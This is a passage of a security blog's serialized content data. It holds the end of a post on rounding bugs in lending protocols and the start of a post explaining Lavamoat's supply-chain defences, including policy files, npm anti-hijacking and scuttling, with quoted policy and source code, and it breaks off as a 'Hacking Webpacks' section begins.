precision;\n",[44797],{"type":23,"tag":135,"props":44798,"children":44799},{"__ignoreMap":7},[44800,44835],{"type":23,"tag":139,"props":44801,"children":44802},{"class":141,"line":142},[44803,44808,44812,44817,44821,44826,44830],{"type":23,"tag":139,"props":44804,"children":44805},{"style":259},[44806],{"type":28,"value":44807},"accrualIndices.borrowed ",{"type":23,"tag":139,"props":44809,"children":44810},{"style":982},[44811],{"type":28,"value":1067},{"type":23,"tag":139,"props":44813,"children":44814},{"style":259},[44815],{"type":28,"value":44816}," accrualIndices.borrowed ",{"type":23,"tag":139,"props":44818,"children":44819},{"style":982},[44820],{"type":28,"value":2573},{"type":23,"tag":139,"props":44822,"children":44823},{"style":259},[44824],{"type":28,"value":44825}," borrowInterestFactor ",{"type":23,"tag":139,"props":44827,"children":44828},{"style":982},[44829],{"type":28,"value":2583},{"type":23,"tag":139,"props":44831,"children":44832},{"style":259},[44833],{"type":28,"value":44834}," precision;\n",{"type":23,"tag":139,"props":44836,"children":44837},{"class":141,"line":151},[44838,44843,44847,44852,44856,44861,44865],{"type":23,"tag":139,"props":44839,"children":44840},{"style":259},[44841],{"type":28,"value":44842},"accrualIndices.deposited ",{"type":23,"tag":139,"props":44844,"children":44845},{"style":982},[44846],{"type":28,"value":1067},{"type":23,"tag":139,"props":44848,"children":44849},{"style":259},[44850],{"type":28,"value":44851}," accrualIndices.deposited ",{"type":23,"tag":139,"props":44853,"children":44854},{"style":982},[44855],{"type":28,"value":2573},{"type":23,"tag":139,"props":44857,"children":44858},{"style":259},[44859],{"type":28,"value":44860}," depositInterestFactor ",{"type":23,"tag":139,"props":44862,"children":44863},{"style":982},[44864],{"type":28,"value":2583},{"type":23,"tag":139,"props":44866,"children":44867},{"style":259},[44868],{"type":28,"value":44834},{"type":23,"tag":24,"props":44870,"children":44871},{},[44872],{"type":28,"value":44873},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":44875,"children":44876},{},[44877,44879,44884],{"type":28,"value":44878},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":659,"props":44880,"children":44881},{},[44882],{"type":28,"value":44883},"apply the state changes and check the invariant",{"type":28,"value":73},{"type":23,"tag":24,"props":44886,"children":44887},{},[44888],{"type":28,"value":44889},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":44891,"children":44892},{},[44893],{"type":28,"value":44894},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":41,"props":44896,"children":44897},{"id":26955},[44898],{"type":28,"value":16955},{"type":23,"tag":24,"props":44900,"children":44901},{},[44902],{"type":28,"value":44903},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":44905,"children":44906},{},[44907],{"type":28,"value":44908},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":817,"props":44910,"children":44911},{},[44912],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":44914},[44915,44916,44917,44921,44922,44923],{"id":27037,"depth":151,"text":27040},{"id":43837,"depth":151,"text":43840},{"id":43956,"depth":151,"text":43959,"children":44918},[44919,44920],{"id":43967,"depth":160,"text":43970},{"id":44005,"depth":160,"text":44008},{"id":44563,"depth":151,"text":44566},{"id":44628,"depth":151,"text":44631},{"id":26955,"depth":151,"text":16955},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":44928,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44929,"description":44930,"author":44931,"image":44932,"date":44934,"isFeatured":15,"onBlogPage":15,"body":44935,"_type":831,"_id":48415,"_source":833,"_file":48416,"_stem":48417,"_extension":836},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[29088,29087],{"src":44933},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":44936,"toc":48394},[44937,44941,44962,44967,44971,44976,45015,45021,45036,45054,45059,45064,45069,45082,45389,45415,45428,45433,45438,45452,45457,45470,45484,45715,45736,45771,45777,45782,45787,46001,46022,46028,46040,46130,46152,46188,46196,46214,46471,46497,46503,46517,46715,46734,47141,47154,47160,47179,47272,47277,47283,47296,47309,47395,47401,47413,47498,47510,47523,47529,47534,47548,47875,47880,47885,47891,47917,47972,47992,48045,48051,48056,48075,48086,48280,48286,48309,48315,48320,48333,48338,48343,48347,48352,48360,48390],{"type":23,"tag":41,"props":44938,"children":44939},{"id":16964},[44940],{"type":28,"value":16967},{"type":23,"tag":24,"props":44942,"children":44943},{},[44944,44951,44953,44960],{"type":23,"tag":64,"props":44945,"children":44948},{"href":44946,"rel":44947},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[68],[44949],{"type":28,"value":44950},"Supply chain",{"type":28,"value":44952}," attacks are becoming ",{"type":23,"tag":64,"props":44954,"children":44957},{"href":44955,"rel":44956},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[68],[44958],{"type":28,"value":44959},"increasingly popular in Web3",{"type":28,"value":44961},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":44963,"children":44964},{},[44965],{"type":28,"value":44966},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":666,"props":44968,"children":44969},{"id":27037},[44970],{"type":28,"value":27040},{"type":23,"tag":24,"props":44972,"children":44973},{},[44974],{"type":28,"value":44975},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":797,"props":44977,"children":44978},{},[44979,44991,45003],{"type":23,"tag":801,"props":44980,"children":44981},{},[44982,44989],{"type":23,"tag":64,"props":44983,"children":44986},{"href":44984,"rel":44985},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[68],[44987],{"type":28,"value":44988},"Lavamoat Browserify",{"type":28,"value":44990}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":801,"props":44992,"children":44993},{},[44994,45001],{"type":23,"tag":64,"props":44995,"children":44998},{"href":44996,"rel":44997},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[68],[44999],{"type":28,"value":45000},"NodeJS Lavamoat",{"type":28,"value":45002}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":801,"props":45004,"children":45005},{},[45006,45013],{"type":23,"tag":64,"props":45007,"children":45010},{"href":45008,"rel":45009},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[68],[45011],{"type":28,"value":45012},"Lavamoat allow-scripts",{"type":28,"value":45014}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":666,"props":45016,"children":45018},{"id":45017},"lavamoats-security-features",[45019],{"type":28,"value":45020},"Lavamoat's Security Features",{"type":23,"tag":24,"props":45022,"children":45023},{},[45024,45026,45034],{"type":28,"value":45025},"The three most important features of Lavamoat",{"type":23,"tag":636,"props":45027,"children":45028},{},[45029],{"type":23,"tag":64,"props":45030,"children":45032},{"href":641,"ariaDescribedBy":45031,"dataFootnoteRef":7,"id":644},[643],[45033],{"type":28,"value":647},{"type":28,"value":45035}," are:",{"type":23,"tag":14699,"props":45037,"children":45038},{},[45039,45044,45049],{"type":23,"tag":801,"props":45040,"children":45041},{},[45042],{"type":28,"value":45043},"Policy Files",{"type":23,"tag":801,"props":45045,"children":45046},{},[45047],{"type":28,"value":45048},"NPM Anti Hijacking",{"type":23,"tag":801,"props":45050,"children":45051},{},[45052],{"type":28,"value":45053},"Scuttling",{"type":23,"tag":24,"props":45055,"children":45056},{},[45057],{"type":28,"value":45058},"Let's go over them one by one.",{"type":23,"tag":16900,"props":45060,"children":45062},{"id":45061},"policy-files",[45063],{"type":28,"value":45043},{"type":23,"tag":24,"props":45065,"children":45066},{},[45067],{"type":28,"value":45068},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":45070,"children":45071},{},[45072,45074,45081],{"type":28,"value":45073},"For example, take the ",{"type":23,"tag":64,"props":45075,"children":45078},{"href":45076,"rel":45077},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[68],[45079],{"type":28,"value":45080},"Metamask Snap policy file",{"type":28,"value":2493},{"type":23,"tag":128,"props":45083,"children":45085},{"className":29250,"code":45084,"language":29252,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[45086],{"type":23,"tag":135,"props":45087,"children":45088},{"__ignoreMap":7},[45089,45101,45116,45136,45155,45175,45195,45215,45235,45255,45276,45296,45315,45331,45338,45353,45373],{"type":23,"tag":139,"props":45090,"children":45091},{"class":141,"line":142},[45092,45097],{"type":23,"tag":139,"props":45093,"children":45094},{"style":265},[45095],{"type":28,"value":45096},"   \"@metamask/providers\"",{"type":23,"tag":139,"props":45098,"children":45099},{"style":259},[45100],{"type":28,"value":34912},{"type":23,"tag":139,"props":45102,"children":45103},{"class":141,"line":151},[45104,45108,45112],{"type":23,"tag":139,"props":45105,"children":45106},{"style":265},[45107],{"type":28,"value":34920},{"type":23,"tag":139,"props":45109,"children":45110},{"style":294},[45111],{"type":28,"value":2493},{"type":23,"tag":139,"props":45113,"children":45114},{"style":259},[45115],{"type":28,"value":1268},{"type":23,"tag":139,"props":45117,"children":45118},{"class":141,"line":160},[45119,45124,45128,45132],{"type":23,"tag":139,"props":45120,"children":45121},{"style":265},[45122],{"type":28,"value":45123},"        \"Event\"",{"type":23,"tag":139,"props":45125,"children":45126},{"style":294},[45127],{"type":28,"value":2493},{"type":23,"tag":139,"props":45129,"children":45130},{"style":279},[45131],{"type":28,"value":10480},{"type":23,"tag":139,"props":45133,"children":45134},{"style":259},[45135],{"type":28,"value":1488},{"type":23,"tag":139,"props":45137,"children":45138},{"class":141,"line":169},[45139,45143,45147,45151],{"type":23,"tag":139,"props":45140,"children":45141},{"style":265},[45142],{"type":28,"value":34972},{"type":23,"tag":139,"props":45144,"children":45145},{"style":294},[45146],{"type":28,"value":2493},{"type":23,"tag":139,"props":45148,"children":45149},{"style":279},[45150],{"type":28,"value":10480},{"type":23,"tag":139,"props":45152,"children":45153},{"style":259},[45154],{"type":28,"value":1488},{"type":23,"tag":139,"props":45156,"children":45157},{"class":141,"line":178},[45158,45163,45167,45171],{"type":23,"tag":139,"props":45159,"children":45160},{"style":265},[45161],{"type":28,"value":45162},"        \"chrome.runtime.connect\"",{"type":23,"tag":139,"props":45164,"children":45165},{"style":294},[45166],{"type":28,"value":2493},{"type":23,"tag":139,"props":45168,"children":45169},{"style":279},[45170],{"type":28,"value":10480},{"type":23,"tag":139,"props":45172,"children":45173},{"style":259},[45174],{"type":28,"value":1488},{"type":23,"tag":139,"props":45176,"children":45177},{"class":141,"line":187},[45178,45183,45187,45191],{"type":23,"tag":139,"props":45179,"children":45180},{"style":265},[45181],{"type":28,"value":45182},"        \"console\"",{"type":23,"tag":139,"props":45184,"children":45185},{"style":294},[45186],{"type":28,"value":2493},{"type":23,"tag":139,"props":45188,"children":45189},{"style":279},[45190],{"type":28,"value":10480},{"type":23,"tag":139,"props":45192,"children":45193},{"style":259},[45194],{"type":28,"value":1488},{"type":23,"tag":139,"props":45196,"children":45197},{"class":141,"line":196},[45198,45203,45207,45211],{"type":23,"tag":139,"props":45199,"children":45200},{"style":265},[45201],{"type":28,"value":45202},"        \"dispatchEvent\"",{"type":23,"tag":139,"props":45204,"children":45205},{"style":294},[45206],{"type":28,"value":2493},{"type":23,"tag":139,"props":45208,"children":45209},{"style":279},[45210],{"type":28,"value":10480},{"type":23,"tag":139,"props":45212,"children":45213},{"style":259},[45214],{"type":28,"value":1488},{"type":23,"tag":139,"props":45216,"children":45217},{"class":141,"line":205},[45218,45223,45227,45231],{"type":23,"tag":139,"props":45219,"children":45220},{"style":265},[45221],{"type":28,"value":45222},"        \"document.createElement\"",{"type":23,"tag":139,"props":45224,"children":45225},{"style":294},[45226],{"type":28,"value":2493},{"type":23,"tag":139,"props":45228,"children":45229},{"style":279},[45230],{"type":28,"value":10480},{"type":23,"tag":139,"props":45232,"children":45233},{"style":259},[45234],{"type":28,"value":1488},{"type":23,"tag":139,"props":45236,"children":45237},{"class":141,"line":214},[45238,45243,45247,45251],{"type":23,"tag":139,"props":45239,"children":45240},{"style":265},[45241],{"type":28,"value":45242},"        \"document.readyState\"",{"type":23,"tag":139,"props":45244,"children":45245},{"style":294},[45246],{"type":28,"value":2493},{"type":23,"tag":139,"props":45248,"children":45249},{"style":279},[45250],{"type":28,"value":10480},{"type":23,"tag":139,"props":45252,"children":45253},{"style":259},[45254],{"type":28,"value":1488},{"type":23,"tag":139,"props":45256,"children":45257},{"class":141,"line":1320},[45258,45263,45267,45272],{"type":23,"tag":139,"props":45259,"children":45260},{"style":265},[45261],{"type":28,"value":45262},"        \"ethereum\"",{"type":23,"tag":139,"props":45264,"children":45265},{"style":294},[45266],{"type":28,"value":2493},{"type":23,"tag":139,"props":45268,"children":45269},{"style":265},[45270],{"type":28,"value":45271}," \"write\"",{"type":23,"tag":139,"props":45273,"children":45274},{"style":259},[45275],{"type":28,"value":1488},{"type":23,"tag":139,"props":45277,"children":45278},{"class":141,"line":1329},[45279,45284,45288,45292],{"type":23,"tag":139,"props":45280,"children":45281},{"style":265},[45282],{"type":28,"value":45283},"        \"location.hostname\"",{"type":23,"tag":139,"props":45285,"children":45286},{"style":294},[45287],{"type":28,"value":2493},{"type":23,"tag":139,"props":45289,"children":45290},{"style":279},[45291],{"type":28,"value":10480},{"type":23,"tag":139,"props":45293,"children":45294},{"style":259},[45295],{"type":28,"value":1488},{"type":23,"tag":139,"props":45297,"children":45298},{"class":141,"line":1580},[45299,45303,45307,45311],{"type":23,"tag":139,"props":45300,"children":45301},{"style":265},[45302],{"type":28,"value":35072},{"type":23,"tag":139,"props":45304,"children":45305},{"style":294},[45306],{"type":28,"value":2493},{"type":23,"tag":139,"props":45308,"children":45309},{"style":279},[45310],{"type":28,"value":10480},{"type":23,"tag":139,"props":45312,"children":45313},{"style":259},[45314],{"type":28,"value":1488},{"type":23,"tag":139,"props":45316,"children":45317},{"class":141,"line":1597},[45318,45323,45327],{"type":23,"tag":139,"props":45319,"children":45320},{"style":265},[45321],{"type":28,"value":45322},"        \"web3\"",{"type":23,"tag":139,"props":45324,"children":45325},{"style":294},[45326],{"type":28,"value":2493},{"type":23,"tag":139,"props":45328,"children":45329},{"style":279},[45330],{"type":28,"value":44445},{"type":23,"tag":139,"props":45332,"children":45333},{"class":141,"line":1614},[45334],{"type":23,"tag":139,"props":45335,"children":45336},{"style":259},[45337],{"type":28,"value":35089},{"type":23,"tag":139,"props":45339,"children":45340},{"class":141,"line":1627},[45341,45345,45349],{"type":23,"tag":139,"props":45342,"children":45343},{"style":265},[45344],{"type":28,"value":35097},{"type":23,"tag":139,"props":45346,"children":45347},{"style":294},[45348],{"type":28,"value":2493},{"type":23,"tag":139,"props":45350,"children":45351},{"style":259},[45352],{"type":28,"value":1268},{"type":23,"tag":139,"props":45354,"children":45355},{"class":141,"line":1636},[45356,45361,45365,45369],{"type":23,"tag":139,"props":45357,"children":45358},{"style":265},[45359],{"type":28,"value":45360},"        \"@metamask/object-multiplex\"",{"type":23,"tag":139,"props":45362,"children":45363},{"style":294},[45364],{"type":28,"value":2493},{"type":23,"tag":139,"props":45366,"children":45367},{"style":279},[45368],{"type":28,"value":10480},{"type":23,"tag":139,"props":45370,"children":45371},{"style":259},[45372],{"type":28,"value":1488},{"type":23,"tag":139,"props":45374,"children":45375},{"class":141,"line":1659},[45376,45381,45385],{"type":23,"tag":139,"props":45377,"children":45378},{"style":265},[45379],{"type":28,"value":45380},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":139,"props":45382,"children":45383},{"style":294},[45384],{"type":28,"value":2493},{"type":23,"tag":139,"props":45386,"children":45387},{"style":279},[45388],{"type":28,"value":44445},{"type":23,"tag":24,"props":45390,"children":45391},{},[45392,45393,45398,45400,45405,45407,45413],{"type":28,"value":14625},{"type":23,"tag":135,"props":45394,"children":45396},{"className":45395},[],[45397],{"type":28,"value":35162},{"type":28,"value":45399}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":135,"props":45401,"children":45403},{"className":45402},[],[45404],{"type":28,"value":35170},{"type":28,"value":45406}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":135,"props":45408,"children":45410},{"className":45409},[],[45411],{"type":28,"value":45412},"@metamask/providers",{"type":28,"value":45414}," interacts with other packages.",{"type":23,"tag":24,"props":45416,"children":45417},{},[45418,45420,45426],{"type":28,"value":45419},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":135,"props":45421,"children":45423},{"className":45422},[],[45424],{"type":28,"value":45425},"lavapack",{"type":28,"value":45427},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":16900,"props":45429,"children":45431},{"id":45430},"npm-anti-hijacking",[45432],{"type":28,"value":45048},{"type":23,"tag":24,"props":45434,"children":45435},{},[45436],{"type":28,"value":45437},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":24,"props":45439,"children":45440},{},[45441,45443,45450],{"type":28,"value":45442},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":64,"props":45444,"children":45447},{"href":45445,"rel":45446},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[68],[45448],{"type":28,"value":45449},"walking the modules",{"type":28,"value":45451}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":16900,"props":45453,"children":45455},{"id":45454},"scuttling",[45456],{"type":28,"value":45053},{"type":23,"tag":24,"props":45458,"children":45459},{},[45460,45462,45468],{"type":28,"value":45461},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":135,"props":45463,"children":45465},{"className":45464},[],[45466],{"type":28,"value":45467},"GlobalThis",{"type":28,"value":45469}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":45471,"children":45472},{},[45473,45475,45482],{"type":28,"value":45474},"For example, ",{"type":23,"tag":64,"props":45476,"children":45479},{"href":45477,"rel":45478},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[68],[45480],{"type":28,"value":45481},"here",{"type":28,"value":45483}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":128,"props":45485,"children":45487},{"className":29250,"code":45486,"language":29252,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[45488],{"type":23,"tag":135,"props":45489,"children":45490},{"__ignoreMap":7},[45491,45520,45570,45629,45636,45708],{"type":23,"tag":139,"props":45492,"children":45493},{"class":141,"line":142},[45494,45498,45502,45507,45511,45516],{"type":23,"tag":139,"props":45495,"children":45496},{"style":319},[45497],{"type":28,"value":10290},{"type":23,"tag":139,"props":45499,"children":45500},{"style":259},[45501],{"type":28,"value":1042},{"type":23,"tag":139,"props":45503,"children":45504},{"style":294},[45505],{"type":28,"value":45506},"scuttleOpts",{"type":23,"tag":139,"props":45508,"children":45509},{"style":259},[45510],{"type":28,"value":73},{"type":23,"tag":139,"props":45512,"children":45513},{"style":294},[45514],{"type":28,"value":45515},"enabled",{"type":23,"tag":139,"props":45517,"children":45518},{"style":259},[45519],{"type":28,"value":12815},{"type":23,"tag":139,"props":45521,"children":45522},{"class":141,"line":151},[45523,45527,45531,45535,45540,45544,45549,45553,45557,45561,45566],{"type":23,"tag":139,"props":45524,"children":45525},{"style":319},[45526],{"type":28,"value":37177},{"type":23,"tag":139,"props":45528,"children":45529},{"style":259},[45530],{"type":28,"value":1042},{"type":23,"tag":139,"props":45532,"children":45533},{"style":982},[45534],{"type":28,"value":18629},{"type":23,"tag":139,"props":45536,"children":45537},{"style":294},[45538],{"type":28,"value":45539},"Array",{"type":23,"tag":139,"props":45541,"children":45542},{"style":259},[45543],{"type":28,"value":73},{"type":23,"tag":139,"props":45545,"children":45546},{"style":245},[45547],{"type":28,"value":45548},"isArray",{"type":23,"tag":139,"props":45550,"children":45551},{"style":259},[45552],{"type":28,"value":262},{"type":23,"tag":139,"props":45554,"children":45555},{"style":294},[45556],{"type":28,"value":45506},{"type":23,"tag":139,"props":45558,"children":45559},{"style":259},[45560],{"type":28,"value":73},{"type":23,"tag":139,"props":45562,"children":45563},{"style":294},[45564],{"type":28,"value":45565},"exceptions",{"type":23,"tag":139,"props":45567,"children":45568},{"style":259},[45569],{"type":28,"value":33083},{"type":23,"tag":139,"props":45571,"children":45572},{"class":141,"line":160},[45573,45578,45582,45586,45590,45595,45599,45603,45608,45612,45616,45620,45625],{"type":23,"tag":139,"props":45574,"children":45575},{"style":319},[45576],{"type":28,"value":45577},"        throw",{"type":23,"tag":139,"props":45579,"children":45580},{"style":279},[45581],{"type":28,"value":29820},{"type":23,"tag":139,"props":45583,"children":45584},{"style":245},[45585],{"type":28,"value":38174},{"type":23,"tag":139,"props":45587,"children":45588},{"style":259},[45589],{"type":28,"value":262},{"type":23,"tag":139,"props":45591,"children":45592},{"style":265},[45593],{"type":28,"value":45594},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":139,"props":45596,"children":45597},{"style":279},[45598],{"type":28,"value":31997},{"type":23,"tag":139,"props":45600,"children":45601},{"style":279},[45602],{"type":28,"value":29290},{"type":23,"tag":139,"props":45604,"children":45605},{"style":294},[45606],{"type":28,"value":45607}," scuttleOpts",{"type":23,"tag":139,"props":45609,"children":45610},{"style":982},[45611],{"type":28,"value":73},{"type":23,"tag":139,"props":45613,"children":45614},{"style":294},[45615],{"type":28,"value":45565},{"type":23,"tag":139,"props":45617,"children":45618},{"style":279},[45619],{"type":28,"value":32029},{"type":23,"tag":139,"props":45621,"children":45622},{"style":265},[45623],{"type":28,"value":45624},"\"`",{"type":23,"tag":139,"props":45626,"children":45627},{"style":259},[45628],{"type":28,"value":273},{"type":23,"tag":139,"props":45630,"children":45631},{"class":141,"line":169},[45632],{"type":23,"tag":139,"props":45633,"children":45634},{"style":259},[45635],{"type":28,"value":10675},{"type":23,"tag":139,"props":45637,"children":45638},{"class":141,"line":178},[45639,45644,45648,45653,45657,45662,45666,45671,45675,45680,45684,45688,45692,45696,45700,45704],{"type":23,"tag":139,"props":45640,"children":45641},{"style":294},[45642],{"type":28,"value":45643},"      scuttleOpts",{"type":23,"tag":139,"props":45645,"children":45646},{"style":259},[45647],{"type":28,"value":73},{"type":23,"tag":139,"props":45649,"children":45650},{"style":245},[45651],{"type":28,"value":45652},"scuttlerFunc",{"type":23,"tag":139,"props":45654,"children":45655},{"style":259},[45656],{"type":28,"value":262},{"type":23,"tag":139,"props":45658,"children":45659},{"style":294},[45660],{"type":28,"value":45661},"globalRef",{"type":23,"tag":139,"props":45663,"children":45664},{"style":259},[45665],{"type":28,"value":1052},{"type":23,"tag":139,"props":45667,"children":45668},{"style":294},[45669],{"type":28,"value":45670},"realm",{"type":23,"tag":139,"props":45672,"children":45673},{"style":279},[45674],{"type":28,"value":25774},{"type":23,"tag":139,"props":45676,"children":45677},{"style":245},[45678],{"type":28,"value":45679}," performScuttleGlobalThis",{"type":23,"tag":139,"props":45681,"children":45682},{"style":259},[45683],{"type":28,"value":262},{"type":23,"tag":139,"props":45685,"children":45686},{"style":294},[45687],{"type":28,"value":45670},{"type":23,"tag":139,"props":45689,"children":45690},{"style":259},[45691],{"type":28,"value":1052},{"type":23,"tag":139,"props":45693,"children":45694},{"style":294},[45695],{"type":28,"value":45506},{"type":23,"tag":139,"props":45697,"children":45698},{"style":259},[45699],{"type":28,"value":73},{"type":23,"tag":139,"props":45701,"children":45702},{"style":294},[45703],{"type":28,"value":45565},{"type":23,"tag":139,"props":45705,"children":45706},{"style":259},[45707],{"type":28,"value":17719},{"type":23,"tag":139,"props":45709,"children":45710},{"class":141,"line":187},[45711],{"type":23,"tag":139,"props":45712,"children":45713},{"style":259},[45714],{"type":28,"value":1335},{"type":23,"tag":24,"props":45716,"children":45717},{},[45718,45720,45726,45728,45734],{"type":28,"value":45719},"Subsequently, the code defines a ",{"type":23,"tag":64,"props":45721,"children":45724},{"href":45722,"rel":45723},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[68],[45725],{"type":28,"value":29264},{"type":28,"value":45727}," called ",{"type":23,"tag":135,"props":45729,"children":45731},{"className":45730},[],[45732],{"type":28,"value":45733},"generateScuttleOpts",{"type":28,"value":45735}," that creates and returns an options object.",{"type":23,"tag":24,"props":45737,"children":45738},{},[45739,45741,45747,45748,45754,45756,45761,45763,45769],{"type":28,"value":45740},"Finally, the ",{"type":23,"tag":135,"props":45742,"children":45744},{"className":45743},[],[45745],{"type":28,"value":45746},"performScuttleGlobalThis",{"type":28,"value":471},{"type":23,"tag":64,"props":45749,"children":45752},{"href":45750,"rel":45751},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[68],[45753],{"type":28,"value":29264},{"type":28,"value":45755}," modifies the properties of the global object (",{"type":23,"tag":135,"props":45757,"children":45759},{"className":45758},[],[45760],{"type":28,"value":45661},{"type":28,"value":45762},"). It starts by creating an array ",{"type":23,"tag":135,"props":45764,"children":45766},{"className":45765},[],[45767],{"type":28,"value":45768},"props",{"type":28,"value":45770},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":41,"props":45772,"children":45774},{"id":45773},"hacking-webpacks",[45775],{"type":28,"value":45776},"Hacking Webpacks",{"type":23,"tag":24,"props":45778,"children":45779},{},[45780],{"type":28,"value":45781},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":45783,"children":45784},{},[45785],{"type":28,"value":45786},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":128,"props":45788,"children":45790},{"className":29250,"code":45789,"language":29252,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[45791],{"type":23,"tag":135,"props":45792,"children":45793},{"__ignoreMap":7},[45794,45846,45858,45878,45895,45903,45911,45919,45927,45948,45956,45964,45972,45979,45986,45993],{"type":23,"tag":139,"props":45795,"children":45796},{"class":141,"line":142},[45797,45801,45806,45810,45815,45819,45824,45828,45833,45837,45842],{"type":23,"tag":139,"props":45798,"children":45799},{"style":279},[45800],{"type":28,"value":34078},{"type":23,"tag":139,"props":45802,"children":45803},{"style":294},[45804],{"type":28,"value":45805}," filename",{"type":23,"tag":139,"props":45807,"children":45808},{"style":982},[45809],{"type":28,"value":985},{"type":23,"tag":139,"props":45811,"children":45812},{"style":245},[45813],{"type":28,"value":45814}," 